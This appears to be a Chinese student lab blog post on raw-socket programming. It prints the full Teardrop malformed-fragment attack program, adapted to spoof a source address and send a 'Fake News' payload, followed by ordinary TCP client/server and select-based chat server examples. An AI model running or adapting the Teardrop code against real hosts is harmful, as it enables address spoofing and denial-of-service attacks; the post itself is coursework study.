Teardrop攻击

Teardrop攻击是一种畸形报文攻击。原理是向攻击者发送的多个分片的IP包,由于操作系统会将分开的IP包重新组合,系统收到偏移量错误IP包然后组合,导致数据异常。
实验代码:为“网络编程技术”参考书上 “2.11 原始套接字编程”中的Teardrop代码编程。

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/socket.h>
#include <errno.h>#ifdef STRANGE_BSD_BYTE_ORDERING_THING
/* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
#define FIX(n)  (n)
#else
/* OpenBSD 2.1, all Linux */
#define FIX(n)  htons(n)
#endif  /* STRANGE_BSD_BYTE_ORDERING_THING */#define IP_MF 0x2000  /* More IP fragment en route */
#define IPH 0x14    /* IP header size */
#define UDPH 0x8     /* UDP header size */
#define PADDING  0x1c    /* datagram frame padding for first packet */
#define MAGIC  0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
#define COUNT 0x1      /* Linux dies with 1, NT is more stalwart and can* withstand maybe 5 or 10 sometimes...  Experiment.*/void usage(u_char *);
u_long name_resolve(u_char *);
void send_frags(int, u_long, u_long, u_short, u_short);int main(int argc, char **argv)
{int one = 1, count = 0, i, rip_sock;// 定义源地址和目的地址u_long src_ip = 0, dst_ip = 0;// 定义源端口和目的端口u_short src_prt = 0, dst_prt = 0;// 定义一个32位的IPv4地址struct in_addr addr;printf("teardrop route|daemon9\n\n");//创建原始套接字if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){fprintf(stderr, "raw socket");exit(1);}//设置套接字选项IP_HDRINCLif (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL,(char *)&one, sizeof(one))< 0){fprintf(stderr, "IP_HDRINCL");exit(1);}if (argc < 3)usage(argv[0]);// 设置源IP 和 目的IPif(!(src_ip=name_resolve(argv[1]))||!(dst_ip = name_resolve(argv[2]))){fprintf(stderr, "What the hell kind of IP address is that?\n");exit(1);}while ((i = getopt(argc, argv, "s:t:n:")) != EOF){switch (i){case 's': // source port (should be emphemeral)src_prt = (u_short)atoi(optarg);break;case 't': // dest port (DNS, anyone?)dst_prt = (u_short)atoi(optarg);break;case 'n': // number to sendcount = atoi(optarg);break;default :usage(argv[0]);break; // NOTREACHED}}srandom((unsigned)(utimes("0",(time_t)0)));if (!src_prt) src_prt = (random() % 0xffff);if (!dst_prt) dst_prt = (random() % 0xffff);if (!count)count = COUNT;printf("Death on flaxen wings:\n");addr.s_addr = src_ip;printf("From: %15s.%5d\n", inet_ntoa(addr), src_prt);addr.s_addr = dst_ip;printf(" To: %15s.%5d\n", inet_ntoa(addr), dst_prt);printf(" Amt: %5d\n", count);printf("[\n ");for (i = 0; i < count; i++){send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);// printf("b00m ");usleep(500);}printf("]\n");return (0);
}// 设置 IP 包的内容
void send_frags(int sock, u_long src_ip, u_long dst_ip,u_short src_prt,u_short dst_prt)
{u_char *packet = NULL, *p_ptr = NULL, *flag = NULL; // packet pointersu_char byte; // a byte// 套接字地址结构struct sockaddr_in sin; /* socket protocol structure */sin.sin_family = AF_INET;sin.sin_port = src_prt;sin.sin_addr.s_addr = dst_ip;packet = (u_char *)malloc(IPH + UDPH + PADDING);p_ptr = packet;flag = packet;bzero((u_char *)p_ptr, IPH + UDPH + PADDING);// IP version and header lengthbyte = 0x45;memcpy(p_ptr, &byte, sizeof(u_char));p_ptr += 2; // IP TOS (skipped)// total length*((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);p_ptr += 2;*((u_short *)p_ptr) = htons(242); // IP idp_ptr += 2;//IP frag flags and offset*((u_short *)p_ptr) |= FIX(IP_MF);p_ptr += 2;*((u_short *)p_ptr) = 0x40; // IP TTLbyte = IPPROTO_UDP;memcpy(p_ptr + 1, &byte, sizeof(u_char));// IP checksum filled in by kernelp_ptr += 4;// IP source address*((u_long *)p_ptr) = src_ip;p_ptr += 4;// IP destination address*((u_long *)p_ptr) = dst_ip;p_ptr += 4;*((u_short *)p_ptr) = htons(src_prt); // UDP source portp_ptr += 2;*((u_short *)p_ptr) = htons(dst_prt); // UDP destination portp_ptr += 2;*((u_short *)p_ptr) = htons(PADDING); // UDP total lengthp_ptr += 4;// 发送数据:Fake News*((u_short *)p_ptr) = 0x46;p_ptr++;*((u_short *)p_ptr) = 0x61;p_ptr++;*((u_short *)p_ptr) = 0x6B;p_ptr++;*((u_short *)p_ptr) = 0x65;p_ptr++;*((u_short *)p_ptr) = 0x20;p_ptr++;*((u_short *)p_ptr) = 0x4E;p_ptr++;*((u_short *)p_ptr) = 0x65;p_ptr++;*((u_short *)p_ptr) = 0x77;p_ptr++;*((u_short *)p_ptr) = 0x73;int i=1;while(i <= 56){printf("%x\t",*flag);flag++;if(0 == i%8)printf("\n");i++;}if (sendto(sock, packet, IPH + UDPH + PADDING, 0,(struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1){fprintf(stderr, "\nsendto");free(packet);exit(1);}// IP total length is 2 bytes into the headerp_ptr = &packet[2];*((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);// IP offset is 6 bytes into the headerp_ptr += 4;*((u_short *)p_ptr) = FIX(MAGIC);if (sendto(sock, packet, IPH+MAGIC+1, 0,(struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1){fprintf(stderr, "\nsendto");free(packet);exit(1);}free(packet);
}// 获取主机信息
u_long name_resolve(u_char *host_name)
{struct in_addr addr;struct hostent *host_ent;if ((addr.s_addr = inet_addr(host_name)) == -1){if (!(host_ent = gethostbyname(host_name))) return (0);bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);}return (addr.s_addr);
}void usage(u_char *name)
{fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",name);exit(0);
}

实验结果
抓包
没抓上不知道为啥。

SOCKET应用实例

查看服务器端ip

面向连接的流式套接字C/S例子。
服务器端代码如下

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <sys/wait.h>
#include <signal.h>
#define PORT "9090" // the port users will be connecting to
#define BACKLOG 10
// how many pending connections queue will hold
void sigchld_handler(int s)
{ while(waitpid(-1, NULL, WNOHANG) > 0);
}
// get sockaddr, IPv4 or IPv6:
void *get_in_addr(struct sockaddr *sa)
{ if (sa->sa_family == AF_INET) { return &(((struct sockaddr_in*)sa)->sin_addr); }return &(((struct sockaddr_in6*)sa)->sin6_addr);
}
int main(void)
{ int sockfd, new_fd; // listen on sock_fd, new connection on new_fd struct addrinfo hints, *servinfo, *p; struct sockaddr_storage their_addr; // connector's address information socklen_t sin_size; struct sigaction sa; int yes=1;char s[INET6_ADDRSTRLEN]; int rv; memset(&hints, 0, sizeof hints); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; hints.ai_flags = AI_PASSIVE; // use my IP if ((rv = getaddrinfo(NULL, PORT, &hints, &servinfo)) != 0) { fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rv)); return 1; }
// loop through all the results and bind to the first we can for(p = servinfo; p != NULL; p = p->ai_next) { if ((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) { perror("server: socket"); continue; }if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1) { perror("setsockopt"); exit(1); }if (bind(sockfd, p->ai_addr, p->ai_addrlen) == -1) { close(sockfd); perror("server: bind"); continue; }break;
}if (p == NULL) { fprintf(stderr, "server: failed to bind\n"); return 2; }freeaddrinfo(servinfo); // all done with this structure if (listen(sockfd, BACKLOG) == -1) { perror("listen"); exit(1); }sa.sa_handler = sigchld_handler; // reap all dead processes sigemptyset(&sa.sa_mask); sa.sa_flags = SA_RESTART; if (sigaction(SIGCHLD, &sa, NULL) == -1) { perror("sigaction"); exit(1); }printf("server: waiting for connections...\n"); while(1) { // main accept() loop sin_size = sizeof their_addr; new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size); if (new_fd == -1) { perror("accept"); continue; }inet_ntop(their_addr.ss_family, get_in_addr((struct sockaddr *)&their_addr), s, sizeof s); printf("server: got connection from %s\n", s); if (!fork()) { // this is the child process close(sockfd); // child doesn't need the listener if (send(new_fd, "Hello, world!", 13, 0) == -1) perror("send"); close(new_fd); exit(0); }close(new_fd); // parent doesn't need this }return 0;
}

编译服务器端代码

客户端代码如下:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <netdb.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>#define PORT "9090"  //the port client will be connecting to
#define MAXDATASIZE 100  //max number of bytes we can get at once//get sockaddr, IPv4 or IPv6
void *get_in_addr(struct sockaddr *sa)
{if(sa->sa_family == AF_INET){return &(((struct sockaddr_in*)sa)->sin_addr);}return &(((struct sockaddr_in6*)sa)->sin6_addr);
}int main(int argc, char *argv[])
{int sockfd, numbytes;char buf[MAXDATASIZE];struct addrinfo hints, *servinfo, *p;int rv;char s[INET6_ADDRSTRLEN];if(argc != 2){fprintf(stderr, "usage:client hostname\n");exit(1);}memset(&hints, 0, sizeof hints);hints.ai_family = AF_UNSPEC;hints.ai_socktype = SOCK_STREAM;if((rv = getaddrinfo(argv[1], PORT, &hints, &servinfo)) != 0){fprintf(stderr, "getaddrinfo:%s\n",gai_strerror(rv));return 1;}// loop through all the results and connect to the first we can for(p = servinfo; p != NULL; p = p->ai_next){if((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1){perror("client:socket");continue;}if(connect(sockfd, p->ai_addr, p->ai_addrlen) == -1){close(sockfd);perror("client:connect");continue;}break;}if(p == NULL){fprintf(stderr, "client:failed to connect\n");return 2;}inet_ntop(p->ai_family, get_in_addr((struct sockaddr*)p->ai_addr), s, sizeof s);printf("client:connecting to %s\n",s);freeaddrinfo(servinfo);// all done with this structure if((numbytes = recv(sockfd, buf, MAXDATASIZE-1, 0)) == -1){perror("recv");exit(1);}buf[numbytes] = '\0';printf("client:received %s\n",buf);close(sockfd);return 0;
}

编译代码

服务器结果

编译文件
非阻塞的多人聊天服务器
代码如下:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>#define PORT "9090"  //port we're listening on//get sockaddr,IPv4 or IPv6:
void *get_in_addr(struct sockaddr *sa)
{if(sa->sa_family == AF_INET){return &(((struct sockaddr_in*)sa)->sin_addr);}return &(((struct sockaddr_in6*)sa)->sin6_addr);
}int main(void)
{fd_set master; // master file descriptor list fd_set read_fds; // temp file descriptor list for select() int fdmax; // maximum file descriptor numberint listener; // listening socket descriptor int newfd; // newly accept()ed socket descriptor struct sockaddr_storage remoteaddr; // client address socklen_t addrlen; char buf[256]; // buffer for client data int nbytes; char remoteIP[INET6_ADDRSTRLEN]; int yes=1; // for setsockopt() SO_REUSEADDR, below int i, j, rv; struct addrinfo hints, *ai, *p; FD_ZERO(&master); // clear the master and temp sets FD_ZERO(&read_fds); // get us a socket and bind it memset(&hints, 0, sizeof hints); hints.ai_family = AF_UNSPEC; hints.ai_socktype = SOCK_STREAM; hints.ai_flags = AI_PASSIVE; if((rv = getaddrinfo(NULL, PORT, &hints, &ai)) != 0){fprintf(stderr, "selectserver:%s\n", gai_strerror(rv));exit(1);}for(p = ai; p != NULL; p = p->ai_next){listener = socket(p->ai_family, p->ai_socktype, p->ai_protocol);if(listener < 0){continue;}// lose the pesky "address already in use" error message setsockopt(listener, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int));if(bind(listener, p->ai_addr, p->ai_addrlen) < 0){close(listener);continue;}break;}// if we got here, it means we didn't get bound if(p == NULL){fprintf(stderr, "selectserver:failed to bind\n");exit(2);}freeaddrinfo(ai);  // all done with this // listenif(listen(listener, 10) == -1){perror("listen");exit(3);}// add the listener to the master set FD_SET(listener, &master);// keep track of the biggest file descriptor fdmax = listener;  // so far, it's this one // main loop for(;;){read_fds = master; // copy it if(select(fdmax + 1, &read_fds, NULL, NULL, NULL) == -1){perror("select");exit(4);}// run through the existing connections looking for data to read for(i = 0; i <= fdmax; i++){if(FD_ISSET(i, &read_fds))// we got one!!{if(i == listener){// handle new connectionsaddrlen = sizeof remoteaddr;newfd = accept(listener, (struct sockaddr *)&remoteaddr, &addrlen);if(newfd == -1){perror("accept");}else{FD_SET(newfd, &master); // add to master set if(newfd > fdmax){// keep track of the max fdmax = newfd;}printf("selectserver: new connection from %s on " "socket %d\n", inet_ntop(remoteaddr.ss_family, get_in_addr((struct sockaddr*)&remoteaddr), remoteIP, INET6_ADDRSTRLEN), newfd); }}else{// handle data from a client if((nbytes = recv(i, buf, sizeof buf, 0)) <= 0){// got error or connection closed by client if(nbytes == 0){// connection closed printf("selectserver:socket %d hung up\n", i);}else{perror("recv");}close(i);// bye! FD_CLR(i, &master);// remove from master set }else{// we got some data from a client for(j =0; j <= fdmax; j++){// send to everyone! if(FD_ISSET(j, &master)){// except the listener and ourselves if(j != listener && j != i){if(send(j, buf, nbytes, 0) == -1){perror("send");}}}}}}  //END handle from client}  //END got new incoming connection}  //END looping through file descriptors}  //END for(;;)--and you thought it would never end!return 0;
}

结果如下

Teardrop代码编程,伪造一个虚假地址的IP包和SOCKET应用实例相关推荐

  1. Teardrop代码编程,创建虚假包

    Teardrop代码编程 编写Teardrop程序 Teardrop代码编程,伪造一个虚假地址的IP包,包的内容填入Fake News.发送此包.并用wireshark抓包进行验证. 编写Teardr ...

  2. 学习teardrop攻击并伪造一个ip包

    编译环境:Ubuntu18.04 编程语言:c语言 使用原始套接字编程中的 Teardrop 代码编程,伪造一个虚假地址的 IP 包,包的内容填入 Fake News ,发送此包,并用 wiresha ...

  3. Teardrop代码编程

    一.Teardrop攻击 1.介绍 Teardrop攻击是一种畸形报文攻击.是基于UDP的病态分片数据包的攻击方法,其工作原理是向被攻击者发送多个分片的IP包(IP分片数据包中包括该分片数据包属于哪个 ...

  4. TearDrop代码编程与SOCKET应用实例

    TearDrop代码编程与SOCKET应用实例(wait for update) 实验环境ubuntu 18.04 server版 文章目录 TearDrop代码编程与SOCKET应用实例(wait ...

  5. 原始套接字编程”中的Teardrop代码编程

    原始套接字编程"中的Teardrop代码编程 (1)实验代码: #include <stdio.h> #include <stdlib.h> #include < ...

  6. Socket实战——Teardrop代码编程

    目录 准备阶段 抓包验证 参考资料 准备阶段 将虚拟机网络适配器的连接模式更改为桥接模式 进入虚拟机,创建一个名为Teardrop(泪滴攻击)的文件,并输入以下代码 #include <stdi ...

  7. 我的Exchange 2010 启用匿名了。我怎么防止别人任意伪造一个邮件地址发送给我内部的人呢?

    最近客户碰到了一个问题,就是他的接受连接器启用了匿名,匿名之后发现有人伪造了内部用户的邮件名将邮件发送给自己,他希望防止这种现象发生,怎么办呢? 甚至想取消掉匿名访问来解决这个问题,取消匿名访问对于单 ...

  8. Teardrop攻击——发送虚假IP包信息

    Teardrop攻击--发送虚假IP包信息 一.原始套接字概述 二.Teardrop攻击原理阐述 三.编写Teardrop程序(伪造一个虚假地址的IP包) 四.参考链接 一.原始套接字概述 原始套接字 ...

  9. 【网络通信】Teardrop编程创造虚假IP包

    目录 一.了解Teardrop攻击 二.虚拟机及环境 三.相关代码 四.编译执行 五.参考 实验目的: 完成Teardrop代码编程,伪造一个虚假地址的IP包,包的内容填入Fake News,发送此包 ...

最新文章

  1. H国的身份证号码(搜索)
  2. 从一个Bug开始,重新认识一个强大的 Gson
  3. APP-SQLAP-10771
  4. dpkg ---- apt-get ------ aptitude 三种方式的区别 及命令格式
  5. 并发编程-05线程安全性之原子性【锁之synchronized】
  6. 《NX-OS与Cisco Nexus交换技术:下一代数据中心架构(第2版)》一1.5 VDC
  7. 3l如何使用_慢阻肺患者如何选购呼吸机和制氧机,需要注意哪些?
  8. ai系统架构_人工智能中的模糊逻辑系统架构
  9. PyPDF2 | 利用 Python 实现 PDF 分割
  10. 从AI到IA,你愿意买一个机器人伴侣同居吗?
  11. 搜索引擎登录工具_“搜索引擎营销”有多重要!你知道吗?
  12. 20210803:AXI-Stream协议源码分析初探
  13. 思科无线认证服务器,无线局域网控制器(WLC)上管理用户的RADIUS服务器身份验证配置示例...
  14. pythonffmpeg 推流_ffmpeg推流和播放命令
  15. 中国女性出席1899年伦敦世界妇女大会
  16. Python实现数列求和
  17. 大学四年就靠这些东西成为别人眼中的大神(工具用好才是硬道理,兵来将挡,水来土掩)
  18. 数据库三类完整性规则
  19. cesium 之三维场景展示篇(附源码下载)
  20. web综合 限时秒杀效果的制作

热门文章

  1. 脑卒中css评分是什么意思,你知道房颤卒中新评分—ABC评分量表吗?
  2. [S]O-10-2 青蛙跳台阶问题
  3. ubuntu electron-rebuild 我的成功方法
  4. linux 类似winscp_什么是类似于WinSCP的程序?
  5. 配色三部曲-创建自己的调色板
  6. html js不触发_「万字整理 」这里有一份Node.js入门指南和实践,请注意查收 ??
  7. uniapp 图片上传 删除
  8. 批量删除 Word 文档中的所有图片
  9. java 编译器原理_作业5:Java编译原理
  10. Latex中斜线表头的制作方法